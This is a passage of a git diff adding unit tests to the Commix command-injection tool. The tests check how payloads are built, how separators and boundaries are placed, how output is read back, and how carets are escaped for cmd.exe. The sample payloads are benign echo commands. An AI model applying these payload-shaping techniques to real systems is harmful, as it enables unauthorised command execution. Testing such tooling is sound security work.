menu.options.failed_tries = -1 + self.assertIn("'--failed-tries'", self.refused()) + + def test_a_count_of_one_is_what_it_asks_for(self): + menu.options.failed_tries = 1 + options.validate() + self.assertEqual(1, menu.options.failed_tries) + +class APortIsANumberInARange(_AValidatedRun): + """ + The lookup is handed the value as a number, so one that is not a number reaches it as an error + of a kind it does not answer for, and one past the range as a Tor that is not listening. + """ + def test_a_value_that_is_not_a_number_is_refused_by_name(self): + menu.options.tor, menu.options.tor_port = True, "abc" + self.assertIn("'--tor-port'", self.refused()) + + def test_a_value_past_the_range_is_refused_by_name(self): + menu.options.tor, menu.options.tor_port = True, "99999" + self.assertIn("'--tor-port'", self.refused()) + + def test_a_port_is_handed_on_as_a_number(self): + menu.options.tor, menu.options.tor_port = True, "9050" + options.validate() + self.assertEqual(9050, menu.options.tor_port) + + def test_it_is_refused_without_the_switch_that_reads_it(self): + menu.options.tor_port = "9050" + self.assertIn("'--tor-port'", self.refused()) + +if __name__ == '__main__': + unittest.main() + +# eof diff --git a/tests/test_output_file.py b/tests/test_output_file.py new file mode 100644 index 0000000000..f7eabf10d6 --- /dev/null +++ b/tests/test_output_file.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from src.utils import settings +from src.core.controller import injector + +""" +A response standing in for the output file as the target serves it. +""" +class served(object): + def __init__(self, body, headers=None): + self._body = body.encode(settings.DEFAULT_CODEC) + self._headers = headers or {} + + def read(self, *args, **kwargs): + return self._body + + def info(self): + return self._headers + + def getcode(self): + return 200 + +class TheOutputFileIsReadAsTheCommandWroteIt(unittest.TestCase): + """ + The file holds what the command printed. Stripped at both ends, an output that was indented, or + padded, or was whitespace altogether came back without the part of it that said so. + """ + def setUp(self): + self._os = settings.TARGET_OS + settings.TARGET_OS = settings.OS.UNIX + + def tearDown(self): + settings.TARGET_OS = self._os + + def test_the_whitespace_the_output_begins_and_ends_with_is_kept(self): + self.assertEqual("\t \t\t\tX\t\t\t\t\t\t\t", + injector.output_file_content(served("\t \t\t\tX\t\t\t\t\t\t\t"))) + + def test_an_output_that_is_only_whitespace_is_not_read_as_an_empty_one(self): + self.assertEqual(" ", injector.output_file_content(served(" "))) + + def test_the_line_breaks_it_ends_with_come_off_the_way_a_substitution_drops_them(self): + self.assertEqual("a\nb", injector.output_file_content(served("a\nb\n\n"))) + + def test_the_line_breaks_inside_it_stay_where_they_are(self): + self.assertEqual("one\ntwo\nthree", injector.output_file_content(served("one\ntwo\nthree\n"))) + +class WhatTheTargetSaysAboutTheFileItself(unittest.TestCase): + def test_an_entity_tag_is_preferred_over_a_date_a_second_at_a_time(self): + self.assertEqual('"8-abc"', injector.output_file_validator( + served("x", {"ETag": '"8-abc"', "Last-Modified": "Wed, 11 Nov 2026 18:36:17 GMT"}))) + + def test_a_weak_tag_is_the_same_tag(self): + self.assertEqual('"8-abc"', injector.output_file_validator(served("x", {"ETag": 'W/"8-abc"'}))) + + def test_a_date_answers_where_there_is_no_tag(self): + self.assertEqual("Wed, 11 Nov 2026 18:36:17 GMT", injector.output_file_validator( + served("x", {"Last-Modified": "Wed, 11 Nov 2026 18:36:17 GMT"}))) + + def test_a_target_that_says_nothing_about_the_file_answers_nothing(self): + self.assertIsNone(injector.output_file_validator(served("x"))) + +class AnswerThisCommandsOutputOrNothing(unittest.TestCase): + """ + A command the target never ran leaves the file as it was, and reading it then answers with + whatever wrote it last - the marker the detection phase put there, or the command before this + one. Handed back as this command's own, that is a wrong answer rather than a missing one. + """ + def test_an_untouched_file_is_not_this_commands_output(self): + self.assertTrue(injector.output_file_is_stale("MARKER", '"1-a"', "MARKER", '"1-a"')) + + def test_a_file_written_again_is_this_commands_output_even_where_it_says_the_same(self): + # The same command run twice writes the file both times, and the tag moves with the write. + self.assertFalse(injector.output_file_is_stale("uid=33", '"6-b"', "uid=33", '"6-a"')) + + def test_a_file_whose_contents_changed_is_this_commands_output(self): + self.assertFalse(injector.output_file_is_stale("uid=33", '"6-a"', "MARKER", '"6-a"')) + + def test_nothing_is_withheld_from_a_target_that_says_nothing_about_the_file(self): + # Without a tag there is no telling a rewrite from a repeat, and an answer withheld from a + # command that worked is the worse of the two mistakes. + self.assertFalse(injector.output_file_is_stale("uid=33", None, "uid=33", None)) + + def test_the_first_read_of_a_run_is_answered(self): + self.assertFalse(injector.output_file_is_stale("uid=33", '"6-a"', None, None)) + +if __name__ == "__main__": + unittest.main() + +# eof diff --git a/tests/test_parameters.py b/tests/test_parameters.py new file mode 100644 index 0000000000..d73f0646cc --- /dev/null +++ b/tests/test_parameters.py @@ -0,0 +1,234 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +How a parameter is read out of a request and put back with the marker in it. Everything here is +string work, done before anything is sent - and getting it wrong moves the injection point rather +than failing outright, which is the kind of mistake a scan reports as 'not injectable'. +""" + +import unittest + +from src.core.requests import parameters +from src.utils import settings +from src.core.parse import cmdline as menu + +class UrlParts(unittest.TestCase): + def test_the_query_is_cut_from_the_path(self): + self.assertEqual("http://h/a/b.php", parameters.get_url_part("http://h/a/b.php?x=1&y=2")) + + def test_a_url_without_a_query_is_left_whole(self): + self.assertEqual("http://h/a/b.php", parameters.get_url_part("http://h/a/b.php")) + +class KeyValues(unittest.TestCase): + def test_the_value_is_what_follows_the_first_equals(self): + self.assertEqual("1", parameters.get_kv_value("a=1")) + + def test_a_pair_without_a_value_answers_empty(self): + self.assertEqual("", parameters.get_kv_value("a")) + + def test_an_equals_inside_the_value_is_kept(self): + self.assertEqual("1=2", parameters.get_kv_value("a=1=2")) + +class CdataWrapping(unittest.TestCase): + def test_the_wrapper_comes_off(self): + self.assertEqual("v", parameters.unwrap_cdata("")) + + def test_a_bare_value_is_left_alone(self): + self.assertEqual("v", parameters.unwrap_cdata("v")) + +class MarkerPlacement(unittest.TestCase): + def test_the_marker_lands_after_the_value_it_names(self): + tagged = parameters.apply_tag_to_value("a=1&b=2", "1") + self.assertEqual("a=1" + settings.INJECT_TAG + "&b=2", tagged) + + def test_the_other_values_are_untouched(self): + self.assertIn("b=2", parameters.apply_tag_to_value("a=1&b=2", "1")) + +class XmlShields(unittest.TestCase): + """ + The leaves are lifted out so the payload cannot be read as markup, then put back. What matters is + that putting them back returns exactly what was lifted - a drift here corrupts the request body. + """ + def test_a_shielded_document_comes_back_whole(self): + for document in ("v", + "12", + "a&b", + ""): + shielded, lifted = parameters.shield_xml_leaves(document) + self.assertEqual(document, parameters.restore_xml_shields(shielded, lifted), document) + + def test_the_shielded_form_holds_none_of_the_leaf_text(self): + shielded, lifted = parameters.shield_xml_leaves("SECRET") + self.assertNotIn("SECRET", shielded) + self.assertTrue(any("SECRET" in _ for _ in lifted)) + +class JsonShapes(unittest.TestCase): + def test_an_empty_object_is_recognised(self): + self.assertTrue(parameters.is_empty_json_object("{}")) + self.assertTrue(parameters.is_empty_json_object(' { } ')) + + def test_an_object_with_a_member_is_not(self): + self.assertFalse(parameters.is_empty_json_object('{"a":1}')) + + def test_json_is_parsed_in_the_order_it_was_written(self): + parsed = parameters.json_format('{"b":1,"a":2}') + self.assertEqual(["b", "a"], list(parsed.keys())) + + def test_something_that_is_not_json_is_refused(self): + # The callers decide what to do about it; answering a half-parse would be worse. + self.assertRaises(Exception, parameters.json_format, "a=1&b=2") + +class PostSplitting(unittest.TestCase): + def test_a_form_body_splits_on_the_ampersand(self): + split, original = parameters.split_post_parameters("a=1&b=2") + self.assertEqual(["a=1", "b=2"], split) + self.assertEqual("a=1&b=2", original) + + def test_a_single_pair_stays_one(self): + split, _ = parameters.split_post_parameters("a=1") + self.assertEqual(["a=1"], split) + + def test_a_delimiter_carrying_a_backslash_splits_an_xml_body_as_it_stands(self): + # The split puts the delimiter between the tags, where a backslash would otherwise be read as + # an escape and "\1" as a group that was never asked for. + state = (settings.IS_XML, settings.POST_DATA_PARAM_DELIMITER, settings.XML_TAG_SEPARATORS, + menu.options.data, settings.USER_DEFINED_POST_DATA) + settings.IS_XML = True + settings.POST_DATA_PARAM_DELIMITER = "\\1" + menu.options.data = settings.USER_DEFINED_POST_DATA = "12" + try: + split, _ = parameters.split_post_parameters("12") + self.assertTrue(split) + finally: + (settings.IS_XML, settings.POST_DATA_PARAM_DELIMITER, settings.XML_TAG_SEPARATORS, + menu.options.data, settings.USER_DEFINED_POST_DATA) = state + +class NamedBoundary(unittest.TestCase): + """ + What '--prefix' and '--suffix' do to the boundary the sweep was going to send. + """ + def setUp(self): + self.prefix, self.suffix = menu.options.prefix, menu.options.suffix + self.load_session = settings.LOAD_SESSION + settings.LOAD_SESSION = False + + def tearDown(self): + menu.options.prefix, menu.options.suffix = self.prefix, self.suffix + settings.LOAD_SESSION = self.load_session + + def test_a_named_boundary_stands_in_place_of_the_one_being_tried(self): + """ + Added to it instead, what the user named arrives behind whatever each boundary already carried, + so the sweep sends combinations nobody asked for and never once sends the one that was. + """ + menu.options.prefix, menu.options.suffix = "'", "'" + _, prefix = parameters.prefixes("payload", ";") + _, suffix = parameters.suffixes("payload", "&") + self.assertEqual("'", prefix) + self.assertEqual("'", suffix) + + def test_an_unnamed_boundary_is_left_as_it_was(self): + menu.options.prefix = menu.options.suffix = None + _, prefix = parameters.prefixes("payload", ";") + _, suffix = parameters.suffixes("payload", "&") + self.assertEqual(";", prefix) + self.assertEqual("&", suffix) + +class TestableValue(unittest.TestCase): + """ + Whether the parameter's own value is handed to the target, or a placeholder put in its place. + """ + def setUp(self): + from src.core.controller import controller + self.controller = controller + self.testable_value = settings.TESTABLE_VALUE + self.load_session = settings.LOAD_SESSION + settings.TESTABLE_VALUE = "127.0.0.1" + settings.LOAD_SESSION = False + + def tearDown(self): + settings.TESTABLE_VALUE = self.testable_value + settings.LOAD_SESSION = self.load_session + + def test_the_real_value_is_what_the_target_is_asked_with(self): + """ + The command before the payload is given this value, so a placeholder the target was not + answering on makes that command fail - and a separator that chains on it having succeeded then + never fires, whatever the target would have carried. + """ + url = "http://127.0.0.1/x.php?addr=127.0.0.1" + settings.INJECT_TAG + self.assertEqual(url, self.controller.attempt_skip_testable_value(url, "GET", "addr")) + self.assertEqual("127.0.0.1", settings.TESTABLE_VALUE) + self.assertFalse(settings.TESTABLE_VALUE_OPTIMIZED) + + def test_a_placeholder_an_earlier_run_confirmed_is_taken_up_again(self): + """ + The one exchange still made: a resumed run is handed what the run that stored it had already + asked the payload's own question through, so it is taken as it stands rather than measured for + again. Without this the stored answer is read and nothing is done with it. + """ + stored = self.controller.session_handler.check_stored_testable_value + try: + self.controller.session_handler.check_stored_testable_value = lambda *_: "ABC" + settings.LOAD_SESSION = True + url = "http://127.0.0.1/x.php?addr=127.0.0.1" + settings.INJECT_TAG + rewritten = self.controller.attempt_skip_testable_value(url, "GET", "addr") + self.assertEqual("http://127.0.0.1/x.php?addr=ABC" + settings.INJECT_TAG, rewritten) + self.assertEqual("ABC", settings.TESTABLE_VALUE) + self.assertTrue(settings.TESTABLE_VALUE_OPTIMIZED) + finally: + self.controller.session_handler.check_stored_testable_value = stored + settings.TESTABLE_VALUE_OPTIMIZED = False + +if __name__ == "__main__": + unittest.main() + +class ReplacedValue(unittest.TestCase): + """ + Where the payload goes relative to the value the parameter arrived with. + + Behind it is what nearly every sink wants. A sink reading the value's own first byte is the + exception, and there the value has to go rather than sit in front of the payload - an + interpreter's two-argument open() handed a leading '|' runs what follows, while the same pipe with + a value before it is read as a filename and nothing runs at all. + """ + def setUp(self): + self.testable_value = settings.TESTABLE_VALUE + self.replace_value = settings.REPLACE_VALUE + self.prefix = menu.options.prefix + menu.options.prefix = None + settings.TESTABLE_VALUE = "127.0.0.1" + + def tearDown(self): + settings.TESTABLE_VALUE = self.testable_value + settings.REPLACE_VALUE = self.replace_value + menu.options.prefix = self.prefix + + def test_the_value_is_carried_in_front_of_the_payload_by_default(self): + settings.REPLACE_VALUE = False + payload, prefix = parameters.prefixes(";echo Hello", "") + self.assertTrue(payload.startswith("127.0.0.1"), repr(payload) + " drops the value") + + def test_the_payload_stands_alone_where_it_replaces_the_value(self): + settings.REPLACE_VALUE = True + payload, prefix = parameters.prefixes("|echo Hello", "") + self.assertEqual("|echo Hello", payload) + self.assertTrue(payload.startswith("|"), "the separator is not the value's first byte") + + def test_a_boundary_prefix_is_still_carried_when_the_value_is_replaced(self): + settings.REPLACE_VALUE = True + payload, prefix = parameters.prefixes(";echo Hello", "'") + self.assertEqual("';echo Hello", payload) diff --git a/tests/test_payloads.py b/tests/test_payloads.py new file mode 100644 index 0000000000..ca73ecf2c9 --- /dev/null +++ b/tests/test_payloads.py @@ -0,0 +1,1789 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import subprocess +import re +import inspect +import importlib +import unittest + +from tests._testutils import SEPARATORS, separators_in, stage as stage_exploitation +from src.utils import settings +from src.core.controller import checks +from src.core.parse import cmdline as menu + +TECHNIQUES = ("results_based.rb_payloads", "time_based.tb_payloads", "file_based.fb_payloads", + "tempfile_based.tfb_payloads", "boolean_based.bb_payloads") + +""" +Builders that cannot write their shape with the separator under test alone. Empty, and meant to +stay that way: a payload measures something and then delays on the answer, and that is written as +one command - the delay scaled by the comparison itself - rather than as two chained by an +operator of their own. Nothing goes in here without a reason that says why its shape cannot. +""" +UNRESOLVED = set() + +""" +A value for whatever the builder asks for, named the way the builders name it. +""" +def argument_for(name): + if name in ("TAG", "tag"): + return "MARKER" + if name in ("cmd", "command"): + return "echo Hello" + if name.startswith("randv"): + return "11" + if name in ("timesec", "delay"): + return 5 + if name == "http_request_method": + return "GET" + if name in ("OUTPUT_TEXTFILE", "filename"): + return "out.txt" + if name == "tags": + return ["MARKER"] + if name in ("condition", "expression"): + return "1 -eq 1" + if name == "operator": + return "-eq" + if name == "word": + return "MARKER" + if name == "qmarks": + return 1 + return 1 + +""" +Every payload builder that takes the separator as its first argument. +""" +def builders(): + found = [] + for technique in TECHNIQUES: + module = importlib.import_module("src.core.techniques." + technique) + for name, function in inspect.getmembers(module, inspect.isfunction): + if function.__module__ != module.__name__: + continue + parameters = list(inspect.signature(function).parameters) + if parameters and parameters[0] == "separator": + found.append((technique.split(".")[-1], name, function, parameters)) + return found + +class QuotesOnlyWhereTheyAreLoadBearing(unittest.TestCase): + """ + A '"' a filter strips is one the payload should not have carried without needing it. + """ + def setUp(self): + from src.core.techniques.boolean_based import bb_payloads + self.bb_payloads = bb_payloads + self._os = settings.TARGET_OS + settings.TARGET_OS = settings.OS.UNIX + + def tearDown(self): + settings.TARGET_OS = self._os + + def test_the_length_probe_carries_no_quote_at_all(self): + payload = self.bb_payloads.decision(";", "ABCDEF", 6) + self.assertNotIn('"', payload) + + def test_the_length_question_carries_no_quote_at_all(self): + payload = self.bb_payloads.get_length(";", "echo ABCDEF", 6) + self.assertNotIn('"', payload) + + def test_the_per_character_read_keeps_the_pattern_quoted(self): + # Unquoted, the tail it strips is read as a pattern - a value carrying '*' would lose more + # than the single character the chain is there to leave behind. + payload = self.bb_payloads.get_char(";", "echo ABCDEF", 2, 65) + self.assertIn('%"${', payload) + +class PayloadSeparators(unittest.TestCase): + """ + A payload exists to prove that one separator chains commands at the sink, so that is the only one + it may carry - a target filtering some other operator would otherwise defeat a separator that + works, and the separator is reported as not injectable. + """ + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + settings.TIME_RELATED_ATTACK = True + # A builder that reads its answer back differently where nothing is rewriting the payload has + # that branch swept too, rather than whichever one the state left behind happens to select. + self._reading = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + settings.RESULTS_BASED_EXACT_OUTPUT, dict(settings.TAMPER_SCRIPTS)) + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + settings.RESULTS_BASED_EXACT_OUTPUT = True + for name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + + def tearDown(self): + (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + settings.RESULTS_BASED_EXACT_OUTPUT, scripts) = self._reading + settings.TAMPER_SCRIPTS.update(scripts) + + # Builders that answer with nothing on a POSIX target, because that is not what they are for. + INERT = ("windows_condition_check", "oracle_supported", "_supported", "_var_chain") + + def test_the_sweep_exercises_the_builders_it_found(self): + """ + Counting what was found is not enough: a builder this cannot construct arguments for raises, + is skipped, and takes its separators with it - so the sweep below would pass by never asking. + """ + built, unexercised = 0, [] + for module_name, name, function, parameters in builders(): + answered = False + for separator in SEPARATORS: + try: + payload = function(separator, *[argument_for(_) for _ in parameters[1:]]) + except Exception: + continue + if isinstance(payload, str) and payload.strip(): + answered, built = True, built + 1 + if not answered and name not in self.INERT: + unexercised.append(module_name + "." + name) + self.assertEqual([], unexercised) + self.assertGreater(built, 100) + + def test_no_builder_carries_a_separator_it_is_not_proving(self): + offenders = [] + for module_name, name, function, parameters in builders(): + if (module_name, name) in UNRESOLVED: + continue + for separator in SEPARATORS: + try: + payload = function(separator, *[argument_for(_) for _ in parameters[1:]]) + except Exception: + continue + if not isinstance(payload, str): + continue + counted = separators_in(payload) + added = sorted(_ for _ in counted if counted[_] and _ != separator) + if added: + offenders.append(module_name + "." + name + " adds " + + ",".join(repr(_) for _ in added) + " under " + repr(separator)) + self.assertEqual([], offenders) + + def test_every_separator_is_still_asked_through_a_substitution_that_does_not_nest(self): + """ + A separator the target carries is one the run has to be able to find the injection through, so + an empty payload here is that separator going untested and the finding being missed outright. + The pipe writes the marker out literally and counts it in a single substitution, which holds no + second one - so backticks express it just as well as '$( )' does. + """ + from src.core.techniques.time_based import tb_payloads + for substitution in (settings.NESTING_SUBSTITUTION, + (settings.BACKTICK_SUBSTITUTION, settings.BACKTICK_SUBSTITUTION)): + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = substitution + try: + for separator in (";", "&", "|", "&&", "||", settings.END_LINE.LF): + payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") + self.assertTrue(payload, "under " + repr(settings.CMD_SUB_PREFIX) + + " the separator " + repr(separator) + " is asked nothing at all") + # The count the pipe takes is written in whichever substitution the run is using. + if separator in ("|", "||"): + self.assertIn(settings.CMD_SUB_PREFIX + "printf", payload) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + + def test_the_unresolved_list_names_builders_that_exist(self): + known = set((module_name, name) for module_name, name, _, _ in builders()) + self.assertEqual(set(), UNRESOLVED - known) + + def test_the_unresolved_list_holds_nothing_already_compliant(self): + # A builder that has been written clean must come off the list, or it stops being checked. + still_offending = set() + for module_name, name, function, parameters in builders(): + if (module_name, name) not in UNRESOLVED: + continue + for separator in SEPARATORS: + try: + payload = function(separator, *[argument_for(_) for _ in parameters[1:]]) + except Exception: + continue + if not isinstance(payload, str): + continue + counted = separators_in(payload) + if any(counted[_] and _ != separator for _ in counted): + still_offending.add((module_name, name)) + self.assertEqual(UNRESOLVED, still_offending) + +class OutOfBandTransports(unittest.TestCase): + """ + What answering over a client says, and what it does not. + """ + def test_a_client_both_platforms_carry_says_nothing_about_which(self): + """ + Read as an answer to "which operating system", the probe asked first settles it - and a POSIX + target taken for a Windows one is sent cmd.exe payloads for the rest of the run, with its own + tamper scripts skipped for needing a POSIX shell. + """ + from src.core.techniques.oob import oob_payloads + shared = set(oob_payloads.UNIX_TRANSPORTS) & set(oob_payloads.WINDOWS_TRANSPORTS) + self.assertTrue(shared, "the lists share nothing, so this guard is checking an empty set") + for transport in sorted(shared): + self.assertFalse(oob_payloads.transport_identifies_os(transport), + repr(transport) + " is on both platforms and cannot say which answered") + + def test_a_client_only_one_of_them_carries_does(self): + from src.core.techniques.oob import oob_payloads + exclusive = set(oob_payloads.UNIX_TRANSPORTS) ^ set(oob_payloads.WINDOWS_TRANSPORTS) + for transport in sorted(exclusive): + self.assertTrue(oob_payloads.transport_identifies_os(transport)) + + def test_each_platform_keeps_a_client_of_its_own(self): + """ + The guard above is only useful while each list still holds something the other does not - a + Windows target is identified by 'powershell' answering and by nothing else, and no target here + can show that, so it is held to here instead. + """ + from src.core.techniques.oob import oob_payloads + windows_only = set(oob_payloads.WINDOWS_TRANSPORTS) - set(oob_payloads.UNIX_TRANSPORTS) + unix_only = set(oob_payloads.UNIX_TRANSPORTS) - set(oob_payloads.WINDOWS_TRANSPORTS) + self.assertTrue(windows_only, "nothing identifies a Windows target any more") + self.assertTrue(unix_only, "nothing identifies a POSIX target any more") + for transport in windows_only | unix_only: + self.assertTrue(oob_payloads.transport_identifies_os(transport)) + +class EvalStatementTerminators(unittest.TestCase): + """ + Where a payload that carries no separator is allowed to end a statement. + """ + def test_no_grammar_ends_a_statement_it_never_started(self): + """ + Without a separator the payload goes where one value is read from - inside PHP's '{${ }}' it is + the name of a variable - and a terminator there ends a statement that was never started, which + the interpreter refuses outright. That is what kept every level-1 PHP eval payload malformed. + """ + from src.core import eval as _eval + for language in sorted(_eval.supported()): + grammar = _eval.grammar(language) + statement = grammar.print_statement("", ["echo MARKER"]) + terminator = getattr(grammar, "TERMINATOR", "") + if terminator: + self.assertFalse(statement.endswith(terminator), + language + " ends a statement the boundary never started: " + repr(statement)) + +class AwkExpressions(unittest.TestCase): + """ + The measurements a payload makes when it cannot carry a variable from one command to the next. + Each is handed to awk as an argument, so none of them needs a pipe - and each program is written + so that it needs no separator of its own either. + """ + def _programs(self): + from src.core.techniques.time_based import tb_payloads + from src.core.techniques.tempfile_based import tfb_payloads + from src.core.techniques.results_based import rb_payloads + return { + "length": tb_payloads._length_arg_expr("WORD"), + "ordinal": tb_payloads._ordinal_arg_expr("WORD", 3), + "single line": rb_payloads.single_line_output("WORD"), + } + + def test_none_of_them_pipes(self): + # A pipe is what each of these exists to avoid; 'wc', 'rev' and 'tr' all read one. + for name, program in self._programs().items(): + self.assertNotIn("|", program, name + " reaches for a pipe") + + def test_none_of_them_chains(self): + for name, program in self._programs().items(): + for operator in ("&&", "||", "&", ";"): + self.assertNotIn(operator, program, name + " carries " + repr(operator)) + + def test_no_awk_program_holds_a_space_inside_its_own_quotes(self): + """ + A space there is text to awk and a separator to the substitution that rewrites whitespace, so + a run with a space2* script would rewrite the program itself into something awk cannot read. + """ + for name, program in self._programs().items(): + # Only awk's own program, since the ordinal carries a lone quote of printf's beside it. + programs = re.findall(r"awk[^']*'([^']*)'", program) + self.assertTrue(programs, name + " has no awk program to check") + for part in programs: + self.assertNotIn(" ", part, name + " holds a space inside its quotes") + +class TheCreatedFileIsReadAsTheCommandWroteIt(unittest.TestCase): + """ + The bytes are read off this file one ordinal at a time, and an ordinal is the same number whether + the byte is a newline or a letter - which the delay-based technique's reading of the same kind + already relies on. Joined into one line before it was read, an output of several lines came back + a paragraph, and one trailing whitespace character was taken off every output to drop the space + that joining left where the last newline had been. + """ + def _read(self): + from src.core.techniques.tempfile_based import tfb_payloads + return tfb_payloads.file_text("/tmp/o.txt") + + def test_the_file_is_read_whole_rather_than_joined_into_a_line(self): + read = self._read() + self.assertNotIn("tr ", read) + self.assertNotIn("awk", read) + self.assertTrue(read.endswith("/tmp/o.txt"), read) + + def test_the_read_needs_no_pipe_and_no_separator_of_its_own(self): + read = self._read() + self.assertNotIn("|", read) + for operator in ("&&", "||", "&", ";"): + self.assertNotIn(operator, read, "the read carries " + repr(operator)) + + def test_nothing_is_taken_off_what_the_command_printed(self): + from src.core.techniques.tempfile_based import tfb_payloads + # A substitution has already dropped the newlines the output ended with by this point, so a + # trailing character removed here is one the command printed. + self.assertNotIn("%[[:space:]]", tfb_payloads.output_text()) + self.assertIn(settings.RANDOM_VAR_GENERATOR, tfb_payloads.output_text()) + +class ACaretReachesACmdExeAsTheCharacterItIs(unittest.TestCase): + """ + cmd.exe takes a '^' for its own escape and drops it, so a command carrying one ran without it and + the shorter answer was reported as the command's own - 'echo a^b' came back as 'ab'. Measured + against a cmd.exe: one doubling is exactly what a single pass of its unescaping takes off. + """ + def setUp(self): + self._tampers = dict(settings.TAMPER_SCRIPTS) + for name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + self._os = settings.TARGET_OS + settings.TARGET_OS = settings.OS.WINDOWS + + def tearDown(self): + settings.TAMPER_SCRIPTS.update(self._tampers) + settings.TARGET_OS = self._os + + def test_a_caret_is_doubled(self): + self.assertEqual("echo a^^b", checks.caret_escaped("echo a^b")) + + def test_every_caret_is(self): + self.assertEqual("a^^b^^c", checks.caret_escaped("a^b^c")) + + def test_a_command_carrying_none_is_untouched(self): + self.assertEqual("echo ab", checks.caret_escaped("echo ab")) + + def test_the_payload_carries_the_doubled_form(self): + from src.core.techniques.results_based import rb_payloads + self.assertIn("echo a^^b", rb_payloads.cmd_execution("&", "TAG", "echo a^b")) + + def test_the_tempfile_payload_quotes_the_command_and_doubles_it(self): + """ + Unquoted, no number of carets brought one back - one, two, three and four each arrived as none + against a cmd.exe, while the quoted form carries a doubled one as the character it was. + """ + from src.core.techniques.tempfile_based import tfb_payloads + built = tfb_payloads.cmd_execution_alter_interpreter("&", "echo a^b", 6, "OUT.txt", 5, "GET") + self.assertIn("'cmd /c \"echo a^^b\"'", built) + + def test_a_script_spelling_the_payload_in_carets_is_left_to_do_it(self): + # That one collapses a double back to a single, which would undo this and leave the command + # shorter than it was written. + settings.TAMPER_SCRIPTS["caret"] = True + self.assertEqual("echo a^b", checks.caret_escaped("echo a^b")) + +class ThePaddingIsTakenOffOnceAndOnlyOnce(unittest.TestCase): + """ + The space the Windows interpreter payload writes either side of its output is removed where that + payload's own shape is known, which is the reading itself. The privilege check used to undo it a + second time, and the space it took the second time was the command's own: an answer of ' X ' came + back as 'X', and only a user id having no padding of its own kept it from being noticed. + """ + def test_the_privilege_check_does_not_trim_the_answer_again(self): + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + with open(os.path.join(root, "src", "core", "controller", "enumeration.py")) as handle: + source = handle.read() + start = source.index("def check_current_user_privs(") + body = source[start:source.index("\ndef ", start)] + for trimming in (".strip()", ".rstrip()", ".lstrip()"): + self.assertNotIn(trimming, body, "the answer is trimmed again by " + trimming) + +class AWindowsInterpretersOutputKeepsItsOwnEdges(unittest.TestCase): + """ + The payload hands 'write-host' the markers and the command as separate arguments, and it joins + them with a single space each - so one space either side of the output is the payload's own and + everything else is the command's. Stripped of whitespace instead, an output that was indented, or + padded, or was whitespace altogether came back without the part of it that said so. + """ + TAG = "WWWWWW" + + def setUp(self): + self._state = (settings.TARGET_OS, menu.options.interpreter) + settings.TARGET_OS = settings.OS.WINDOWS + menu.options.interpreter = "python" + + def tearDown(self): + settings.TARGET_OS, menu.options.interpreter = self._state + + def _read(self, output): + from src.core.controller import injector + # What 'write-host TAGTAG $(cmd /c ...) TAGTAG' leaves on the page. + page = "junk" + self.TAG + self.TAG + " " + output + " " + self.TAG + self.TAG + "junk" + class served(object): + def read(self, *args, **kwargs): + return page.encode(settings.DEFAULT_CODEC) + def info(self): + return {} + def getcode(self): + return 200 + found = injector.injection_results(served(), self.TAG, "cmd", + settings.INJECTION_TECHNIQUE.RESULTS_BASED, "url", None, 1) + return "".join(str(part) for part in found) + + def test_an_ordinary_output_loses_the_padding_and_nothing_else(self): + self.assertEqual("X", self._read("X")) + + def test_the_whitespace_the_output_begins_and_ends_with_is_kept(self): + self.assertEqual("\t \t\t\tX\t\t\t\t\t\t\t", self._read("\t \t\t\tX\t\t\t\t\t\t\t")) + + def test_an_output_that_is_only_whitespace_is_not_read_as_an_empty_one(self): + self.assertEqual(" ", self._read(" ")) + + def test_an_output_padded_with_spaces_keeps_them(self): + self.assertEqual(" X ", self._read(" X ")) + +class AnEvaluatedCommandsOutputIsReadAsItWasPrinted(unittest.TestCase): + """ + The payload prints its markers with 'echo', so each of them ends with a line break and what sits + between the two pairs is one of those breaks followed by the output. Read as the text between two + breaks instead, an output that did not end with one of its own was answered with nothing at all. + """ + TAG = "QQQQQQ" + + def _page(self, output): + # Exactly what 'print(`echo TAG`.`echo TAG`.`cmd`.`echo TAG`.`echo TAG`)' leaves on the page. + marker = self.TAG + "\n" + self.TAG + "\n" + return "Hello, " + marker + output + marker + "!" + + def _read(self, output): + from src.core.controller import injector + page = self._page(output) + class served(object): + def read(self, *args, **kwargs): + return page.encode(settings.DEFAULT_CODEC) + def info(self): + return {} + def getcode(self): + return 200 + return injector.injection_results(served(), self.TAG, "cmd", + settings.INJECTION_TECHNIQUE.DYNAMIC_CODE, "url", None, 1) + + def test_an_output_that_ends_with_a_break_is_answered(self): + self.assertEqual("AB", self._read("AB\n")) + + def test_an_output_that_ends_without_one_is_answered_too(self): + # 'printf', 'echo -n', or any program that does not end on a break - reported as a command that + # returned no output, for want of a second break to match. + self.assertEqual("AB", self._read("AB")) + + def test_the_whitespace_the_output_begins_and_ends_with_is_kept(self): + self.assertEqual("\t 